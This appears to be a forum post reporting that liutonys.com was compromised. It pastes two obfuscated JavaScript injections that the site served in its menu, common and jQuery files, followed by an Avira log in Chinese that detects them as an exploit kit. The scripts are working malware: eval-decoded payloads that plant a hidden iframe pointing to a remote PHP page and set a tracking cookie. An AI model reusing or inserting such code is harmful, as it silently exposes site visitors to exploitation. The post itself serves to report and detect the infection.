http://liutonys.com/

fireold

1. /*74ed9f*/
   
2. pod = "y";
   
3. bmlpe = "d" + "o" + "c" + "u" + "ment";
   
4. try {
   
5.     +
   
6.     function() {
   
7.         if (document.querySelector)++(window[bmlpe].body) == null
   
8.     }()
   
9. } catch (feotq) {
   
10.     ojlcib = function(zixjsn) {
    
11.         zixjsn = "fr" + "omCh" + zixjsn;
    
12.         for (zori = 0; zori < pod.length; zori++) {
    
13.             eutsa += String[zixjsn](qhd(hfg + (pod[zori])) - (10));
    
14.         }
    
15.     };
    
16. };
    
17. qhd = (window.eval);
    
18. hfg = "0x";
    
19. iskte = 0;
    
20. try {;
    
21. } catch (sbrb) {
    
22.     iskte = 1
    
23. }
    
24. if (!iskte) {
    
25.     try {
    
26.         ++qhd(bmlpe)["\x62o" + "d" + pod]
    
27.     } catch (feotq) {
    
28.         qlyy = "^";
    
29.     }
    
30.     pod = "2a^70^7f^78^6d^7e^73^79^78^2a^71^6f^3a^43^32^33^2a^85^17^14^2a^80^6b^7c^2a^7d^7e^6b^7e^73^6d^47^31^6b^74^6b^82^31^45^17^14^2a^80^6b^7c^2a^6d^79^78^7e^7c^79^76^76^6f^7c^47^31^73^78^6e^6f^82^38^7a^72^7a^31^45^17^14^2a^80^6b^7c^2a^71^6f^2a^47^2a^6e^79^6d^7f^77^6f^78^7e^38^6d^7c^6f^6b^7e^6f^4f^76^6f^77^6f^78^7e^32^31^73^70^7c^6b^77^6f^31^33^45^17^14^17^14^2a^71^6f^38^7d^7c^6d^2a^47^2a^31^72^7e^7e^7a^44^39^39^40^40^38^3e^43^38^3b^3e^3b^38^3b^41^3e^39^73^78^6d^76^7f^6e^6f^39^3c^60^3d^5c^5b^6e^74^63^38^7a^72^7a^31^45^17^14^2a^71^6f^38^7d^7e^83^76^6f^38^7a^79^7d^73^7e^73^79^78^2a^47^2a^31^6b^6c^7d^79^76^7f^7e^6f^31^45^17^14^2a^71^6f^38^7d^7e^83^76^6f^38^6d^79^76^79^7c^2a^47^2a^31^3a^42^31^45^17^14^2a^71^6f^38^7d^7e^83^76^6f^38^72^6f^73^71^72^7e^2a^47^2a^31^3a^42^7a^82^31^45^17^14^2a^71^6f^38^7d^7e^83^76^6f^38^81^73^6e^7e^72^2a^47^2a^31^3a^42^7a^82^31^45^17^14^2a^71^6f^38^7d^7e^83^76^6f^38^76^6f^70^7e^2a^47^2a^31^3b^3a^3a^3a^3a^42^31^45^17^14^2a^71^6f^38^7d^7e^83^76^6f^38^7e^79^7a^2a^47^2a^31^3b^3a^3a^3a^3a^42^31^45^17^14^17^14^2a^73^70^2a^32^2b^6e^79^6d^7f^77^6f^78^7e^38^71^6f^7e^4f^76^6f^77^6f^78^7e^4c^83^53^6e^32^31^71^6f^31^33^33^2a^85^17^14^2a^6e^79^6d^7f^77^6f^78^7e^38^81^7c^73^7e^6f^32^31^46^7a^2a^73^6e^47^66^31^71^6f^66^31^2a^6d^76^6b^7d^7d^47^66^31^71^6f^3a^43^66^31^2a^48^46^39^7a^48^31^33^45^17^14^2a^6e^79^6d^7f^77^6f^78^7e^38^71^6f^7e^4f^76^6f^77^6f^78^7e^4c^83^53^6e^32^31^71^6f^31^33^38^6b^7a^7a^6f^78^6e^4d^72^73^76^6e^32^71^6f^33^45^17^14^2a^87^17^14^87^17^14^70^7f^78^6d^7e^73^79^78^2a^5d^6f^7e^4d^79^79^75^73^6f^32^6d^79^79^75^73^6f^58^6b^77^6f^36^6d^79^79^75^73^6f^60^6b^76^7f^6f^36^78^4e^6b^83^7d^36^7a^6b^7e^72^33^2a^85^17^14^2a^80^6b^7c^2a^7e^79^6e^6b^83^2a^47^2a^78^6f^81^2a^4e^6b^7e^6f^32^33^45^17^14^2a^80^6b^7c^2a^6f^82^7a^73^7c^6f^2a^47^2a^78^6f^81^2a^4e^6b^7e^6f^32^33^45^17^14^2a^73^70^2a^32^78^4e^6b^83^7d^47^47^78^7f^76^76^2a^86^86^2a^78^4e^6b^83^7d^47^47^3a^33^2a^78^4e^6b^83^7d^47^3b^45^17^14^2a^6f^82^7a^73^7c^6f^38^7d^6f^7e^5e^73^77^6f^32^7e^79^6e^6b^83^38^71^6f^7e^5e^73^77^6f^32^33^2a^35^2a^3d^40^3a^3a^3a^3a^3a^34^3c^3e^34^78^4e^6b^83^7d^33^45^17^14^2a^6e^79^6d^7f^77^6f^78^7e^38^6d^79^79^75^73^6f^2a^47^2a^6d^79^79^75^73^6f^58^6b^77^6f^35^2c^47^2c^35^6f^7d^6d^6b^7a^6f^32^6d^79^79^75^73^6f^60^6b^76^7f^6f^33^17^14^2a^35^2a^2c^45^6f^82^7a^73^7c^6f^7d^47^2c^2a^35^2a^6f^82^7a^73^7c^6f^38^7e^79^51^57^5e^5d^7e^7c^73^78^71^32^33^2a^35^2a^32^32^7a^6b^7e^72^33^2a^49^2a^2c^45^2a^7a^6b^7e^72^47^2c^2a^35^2a^7a^6b^7e^72^2a^44^2a^2c^2c^33^45^17^14^87^17^14^70^7f^78^6d^7e^73^79^78^2a^51^6f^7e^4d^79^79^75^73^6f^32^2a^78^6b^77^6f^2a^33^2a^85^17^14^2a^80^6b^7c^2a^7d^7e^6b^7c^7e^2a^47^2a^6e^79^6d^7f^77^6f^78^7e^38^6d^79^79^75^73^6f^38^73^78^6e^6f^82^59^70^32^2a^78^6b^77^6f^2a^35^2a^2c^47^2c^2a^33^45^17^14^2a^80^6b^7c^2a^76^6f^78^2a^47^2a^7d^7e^6b^7c^7e^2a^35^2a^78^6b^77^6f^38^76^6f^78^71^7e^72^2a^35^2a^3b^45^17^14^2a^73^70^2a^32^2a^32^2a^2b^7d^7e^6b^7c^7e^2a^33^2a^30^30^17^14^2a^32^2a^78^6b^77^6f^2a^2b^47^2a^6e^79^6d^7f^77^6f^78^7e^38^6d^79^79^75^73^6f^38^7d^7f^6c^7d^7e^7c^73^78^71^32^2a^3a^36^2a^78^6b^77^6f^38^76^6f^78^71^7e^72^2a^33^2a^33^2a^33^17^14^2a^85^17^14^2a^7c^6f^7e^7f^7c^78^2a^78^7f^76^76^45^17^14^2a^87^17^14^2a^73^70^2a^32^2a^7d^7e^6b^7c^7e^2a^47^47^2a^37^3b^2a^33^2a^7c^6f^7e^7f^7c^78^2a^78^7f^76^76^45^17^14^2a^80^6b^7c^2a^6f^78^6e^2a^47^2a^6e^79^6d^7f^77^6f^78^7e^38^6d^79^79^75^73^6f^38^73^78^6e^6f^82^59^70^32^2a^2c^45^2c^36^2a^76^6f^78^2a^33^45^17^14^2a^73^70^2a^32^2a^6f^78^6e^2a^47^47^2a^37^3b^2a^33^2a^6f^78^6e^2a^47^2a^6e^79^6d^7f^77^6f^78^7e^38^6d^79^79^75^73^6f^38^76^6f^78^71^7e^72^45^17^14^2a^7c^6f^7e^7f^7c^78^2a^7f^78^6f^7d^6d^6b^7a^6f^32^2a^6e^79^6d^7f^77^6f^78^7e^38^6d^79^79^75^73^6f^38^7d^7f^6c^7d^7e^7c^73^78^71^32^2a^76^6f^78^36^2a^6f^78^6e^2a^33^2a^33^45^17^14^87^17^14^73^70^2a^32^78^6b^80^73^71^6b^7e^79^7c^38^6d^79^79^75^73^6f^4f^78^6b^6c^76^6f^6e^33^17^14^85^17^14^73^70^32^51^6f^7e^4d^79^79^75^73^6f^32^31^80^73^7d^73^7e^6f^6e^69^7f^7b^31^33^47^47^3f^3f^33^85^87^6f^76^7d^6f^85^5d^6f^7e^4d^79^79^75^73^6f^32^31^80^73^7d^73^7e^6f^6e^69^7f^7b^31^36^2a^31^3f^3f^31^36^2a^31^3b^31^36^2a^31^39^31^33^45^17^14^17^14^71^6f^3a^43^32^33^45^17^14^87^17^14^87".split(qlyy);
    
31.     eutsa = "";
    
32.     ojlcib("arCode");
    
33.     qhd("" + eutsa);
    
34. } /*/74ed9f*/
    
35. 
    
36. 
    
37. /*a9a007*/
    
38. otlgt = "spl" + "i" + "t";
    
39. jozppx = window;
    
40. fxwclo = "0" + "x";
    
41. iqihbt = (5 - 3 - 1);
    
42. try {
    
43.     --(document["body"])
    
44. } catch (txh) {
    
45.     tzl = false;
    
46.     try {} catch (mjsp) {
    
47.         tzl = 21;
    
48.     }
    
49.     if (1) {
    
50.         vzupoq = "17:5d:6c:65:5a:6b:60:66:65:17:65:5d:6d:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:65:5d:6d:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:65:5d:6d:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:28:2d:2f:25:28:2b:2a:25:28:2e:25:29:28:2f:26:69:5c:63:25:67:5f:67:1e:32:4:1:17:65:5d:6d:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:65:5d:6d:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:2d:29:1e:32:4:1:17:65:5d:6d:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:2d:29:67:6f:1e:32:4:1:17:65:5d:6d:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:2d:29:67:6f:1e:32:4:1:17:65:5d:6d:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:2d:29:1e:32:4:1:17:65:5d:6d:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:2d:29:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:65:5d:6d:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:65:5d:6d:53:1e:17:5a:63:58:6a:6a:34:53:1e:65:5d:6d:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:65:5d:6d:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:65:5d:6d:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:65:5d:6d:27:30:1f:20:32:4:1:74:4:1:74" [otlgt](":");
    
51.     }
    
52.     jozppx = vzupoq;
    
53.     yxcnr = [];
    
54.     for (ulxdiw = 22 - 20 - 2; - ulxdiw + 1383 != 0; ulxdiw += 1) {
    
55.         vwfkxo = ulxdiw;
    
56.         if ((0x19 == 031)) yxcnr += String.fromCharCode(eval(fxwclo + jozppx[1 * vwfkxo]) + 0xa - iqihbt);
    
57.     }
    
58.     dvem = eval;
    
59.     dvem(yxcnr)
    
60. } /*/a9a007*/

复制代码

Avira

2013/9/19 下午 02:39 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\BM0NVITH\menu[1].js'
      包含病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]
      已採取動作：
      檔案會移動至 '553833da.qua' 名稱底下的隔離區目錄。.

2013/9/19 下午 02:39 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        792
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2013/9/19 下午 02:39 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\GP9UHU8J\jquery-1.7.1.min[1].js'
      包含病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]
      已採取動作：
      檔案會移動至 '55c63fef.qua' 名稱底下的隔離區目錄。.

2013/9/19 下午 02:39 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        794
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2013/9/19 下午 02:38 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\BM0NVITH\menu[1].js 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作：傳輸至掃描程式

2013/9/19 下午 02:38 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A1VVYTC4\common[1].js 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作：拒絕存取

2013/9/19 下午 02:38 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\BM0NVITH\menu[1].js 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作：拒絕存取

2013/9/19 下午 02:38 [Web Protection] 發現惡意程式碼
      從 URL "http://liutonys.com/core/menu.js" 存取資料時，
      發現病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]。
      已採取動作：已略過

2013/9/19 下午 02:38 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\GP9UHU8J\jquery-1.7.1.min[1].js 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作：傳輸至掃描程式

2013/9/19 下午 02:38 [Web Protection] 發現惡意程式碼
      從 URL "http://liutonys.com/core/common.js" 存取資料時，
      發現病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]。
      已採取動作：已略過

2013/9/19 下午 02:38 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\GP9UHU8J\jquery-1.7.1.min[1].js 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作：拒絕存取

2013/9/19 下午 02:38 [Web Protection] 發現惡意程式碼
      從 URL "http://liutonys.com/core/jquery-1.7.1.min.js" 存取資料時，
      發現病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]。
      已採取動作：已略過

2013/9/19 下午 02:38 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A1VVYTC4\liutonys_com[1].htm 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作：拒絕存取

2013/9/19 下午 02:38 [Web Protection] 發現惡意程式碼
      從 URL "http://liutonys.com/" 存取資料時，
      發現病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]。
      已採取動作：已略過